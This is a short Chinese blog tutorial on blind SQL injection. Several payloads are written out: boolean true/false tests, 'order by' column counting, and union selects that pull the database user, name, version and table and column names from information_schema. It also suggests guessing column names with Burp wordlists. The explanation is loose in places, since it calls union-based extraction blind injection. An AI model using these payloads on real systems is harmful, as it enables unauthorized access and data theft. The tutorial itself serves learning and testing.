当前位置：网站首页 > IT技术 > 正文

Web渗透_SQL盲注 web渗透难不难

wptr33 2024-11-11 16:09 47 浏览

SQL盲注

不显示数据库内建的报错信息

内建的报错信息帮助开发人员发现和修复问题
报错信息提供关于系统的大量有用信息

当程序员隐蔽了数据库内建报错信息，替换为通用的报错提示，sql注入将依据报错信息判断注入语句的执行结果，即盲注
思路：既然无法基于报错信息判断结果，那就基于逻辑真假的不同结果来判断

1' and 1=1--+(+代表空格)

1' and 1=2--+(+代表空格)

如果是真的话，会返回参数，如果是假的不会报错，逻辑语句被执行，证明有sql注入漏洞

1' order by 5--+(+代表空格)     #无返回参数，说明超过列
1' order by 2--+(+代表空格)     #有返回参数，说明至少存在两个列

掌握了这个规律之后，我们就可以按照之前的sql语句去执行了

查询用户，数据库，版本

1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+ (+代表空格)

查询原数据库中表名

1'and 1=0 union select null,table_name from information_schema.tables#

查询当前的表名

1'and 1=0 union select null,table_name from information_schema.columns where table_name='users'#

之前我们说过，如果我们无权读取information——schema库 / 拒绝union、order by语句时候，可以用猜测的方法；

猜测列名：

1' and user is not null--+ (+代表空格)

其他不演示了，之前演示过了，用bp字典去跑就行了，不明白地看我之前的文章！

concat_ws

上一篇：Web渗透_SQL注入1 web sql注入
下一篇：mysql基础学习史上最全的mysql基础教程

相关推荐

第 28 章:核心功能 SQL 查询 - PostgreSQL入门: 欢迎来到我们史诗级教程的最终章！在上一章，我们成功地构建了博客系统的数据库骨架。现在，这个结构精良的数据库正静静地等待着我们去使用它。...

postgresql的6种索引介绍_postgresql默认用户名和密码: postgresql几种索引PostgreSQL支持多种索引类型，每种索引的设计原理、适用场景和优缺点各有不同。以下是对主要索引类型的详细介绍：...

第 20 章:索引与性能优化 - PostgreSQL入门: 到目前为止，我们已经学习了如何设计表、保证数据完整性、以及如何用各种方式查询数据。但当我们的表从几十行增长到几百万、甚至上亿行时，一个之前只需要0.1秒的查询，可能会变成需要几分钟甚至几小时的“灾...

PostgreSQL 主从复制完整指南_主从复制mysql: PostgreSQL主从复制（StreamingReplication）完整指南PostgreSQL主从复制是一种实时同步数据的机制，可以实现高可用性(HA)、读写分离和负载均衡。其...

PostgreSQL监控神器，千万注意这5大关键指标!: PostgreSQL监控神器，千万注意这5大关键指标！在当今数据驱动的业务环境中，数据库的性能和稳定性直接关系到企业的运营效率与用户体验。PostgreSQL作为一款功能强大的开源关系型数据库，被广泛...

Retool 如何升级主应用 4TB 的 PostgreSQL 数据库: 本文最初发布于Retool官方博客。...

PostgreSQL查询计划_postgresql查询计划中的cost组成: 深入解析PostgreSQL查询计划：优化性能的关键在数据库管理系统中，查询计划是执行SQL查询时的关键组成部分。PostgreSQL作为一款功能强大的开源关系型数据库，其查询计划的生成与优化对于提升...

第 27 章:数据库与表结构实现 - PostgreSQL入门: 在上一章，我们已经绘制好了博客系统的宏伟蓝图。现在，是时候戴上安全帽，化身“建筑工程师”，将图纸上的设计一砖一瓦地搭建成真实的数据库结构了。...

谁帮我看看，为啥我的PostgreSQL查询速度这么慢???: ...

PostgreSQL事务处理_postgresql时区问题: PostgreSQL事务处理：原理、应用与优化引言...

第 14 章:集合运算 (UNION, INTERSECT, EXCEPT) - PostgreSQL入门: 在之前的章节里，我们所有的操作（JOIN...

PostgreSQL 安装指南及日常使用_postgresql 11安装: PostgreSQL安装与日常使用PostgreSQL是一款功能强大、开源的对象关系型数据库，支持高级SQL标准、扩展功能、事务完整性和高并发。本指南涵盖安装、配置、日常使用、性能优化、常见...

第 23 章:函数与存储过程 (PL/pgSQL) - PostgreSQL入门: 到目前为止，我们与数据库的交互方式都是从外部客户端（如psql...

PostgreSQL是不是你的下一个JSON数据库?: 根据Betteridge定律（任何头条的设问句可以用一个词来回答：不是），除非你的JSON数据很少修改，并且查询很多。最新版的PostgreSQL添加更多对JSON的支持，我们曾经问过PostgreS...

"揭秘PostgreSQL:你必须掌握的数据类型全解析!": 揭秘PostgreSQL：你必须掌握的数据类型全解析！在数据库管理系统中，PostgreSQL以其强大的功能和稳定性而著称。为了充分发挥其性能，理解并熟练掌握其数据类型是至关重要的。本文将深入探讨Po...

一周热门

最近发表

首页
收录
顶部